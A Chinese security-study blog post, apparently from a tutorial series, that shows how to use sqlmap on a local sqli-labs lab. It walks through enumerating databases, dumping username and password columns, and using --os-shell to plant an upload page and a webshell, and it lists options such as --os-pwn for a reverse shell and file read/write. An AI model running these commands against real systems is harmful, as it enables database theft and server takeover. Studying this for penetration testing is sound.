本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
之前介绍了各种SQL注入的方法,今天介绍SQLMAP工具的使用及如何通过SQL注入拿到Webshell
介绍
SQLMap是一个用Python写的SQL注入工具,可以轻松地对目标进行SQL注入攻击
安装
由于我已经安装了Python环境,所以我这里是直接用pip安装
打开DOS,输入:
pip install sqlmap -i https://mirrors.aliyun.com/pypi/simple/
这样就是安装成功了
然后在dos中输入sqlmap
,如果出现像下图的,则为安装成功
使用
我们通过一个实例来讲解SQLMAP的使用
测试地址:http://192.168.1.9/sql1/Less-1/?id=1
注入检测
简单查看页面,怀疑存在SQL注入漏洞
直接放进sqlmap扫描。指令:
sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1
如图,返回了数据库的版本和信息,说明存在注入
返回结果介绍:
这一堆东西说明了存在注入的参数和注入方法,以及各种注入的Payload
这里说了数据库的类型版本,如果在测试中出现此内容,说明存在注入漏洞。
信息获取
获取当前用户sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-user
获取当前数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-db
获取所有数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --dbs
获取security数据库的所有表:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -tables
获取users表中所有字段:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -columns
获取username,password的内容:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -C username,password -dump
-dump可以导出数据,数据导出位置在
GetShell
通过SQLMAP获取shell
判断是否为dba:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --is-dba
如果这里权限是dba的话,可以尝试直接写shell
使用os-shell可以执行系统指令,同时向服务器上传一个文件用于文件上传
前提是需要知道网站的绝对路径并且有文件权限。
sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --os-shell
这里会要你选择网站的语言。选择4,PHP
在这里要猜解网站的绝对路径,可以使用SQLMAP的字典,也可以自己导入字典。我这里直接1,使用SQLMAP的字典。
假如猜解成功,就会返回一个shell。
注意,在这里有两个地址
告诉我们上传了一个上传文件的位置和一个后门到服务器。
我们分别访问看一下
http://192.168.1.9:80/tmpupupp.php
在这里是一个文件上传点,可以上传自己的大马,小马,一句话。
http://192.168.1.9/tmpbbeih.php
这里直接上传了一个Webshell,可以直接菜刀连接,密码是cmd
不过这个马并不是免杀的,你可以上传自己的免杀马。
同时,在这里也可以执行自己想执行的指令,例如获取自身权限
常用参数
SQLMAP常用参数
参数 |
说明 |
-b |
获取 banner |
-p |
指定测试参数 |
-g |
从Google中获取URL,-g "inurl:aspx?id=" |
--gpage |
指定Google页码 |
--union-check |
是否支持 union 注入 |
--union-use |
使用union注入 |
--proxy |
代理注入 |
--threads |
采用多线程 |
--referer=REFERER |
HTTP referer头 |
--keep-alive |
使用持久 HTTP(S)连接 |
--hostname |
主机名 |
--is-dba |
是否管理员权限 |
--users |
枚举所有用户 |
--passwords |
枚举所有用户密码 |
--roles |
针枚举所有用户角色 |
--dump |
转存DBMS数据库表项目,需要指定字段名称 |
--sql-query |
执行SQL语句 |
--file-read |
读取文件(需要File权限和绝对路径) |
--file-write |
写入操作(需要File权限和绝对路径) |
--file-desk |
绝对路径写入 |
--os-pwn |
反弹shell |
--cookie=COOKIE |
指定Cookie |
--random-agent |
使用随机 User-Agent 头 |
--level |
测试等级(1~5),默认为1 |
这里Level可以设置测试等级,当等级达到3时将尝试cookie注入,同时需要的时间更长。
Threads可以设置线程数,在时间盲注时可加快效率。
-p可以指定测试参数,例如 -p id 意为测试参数id。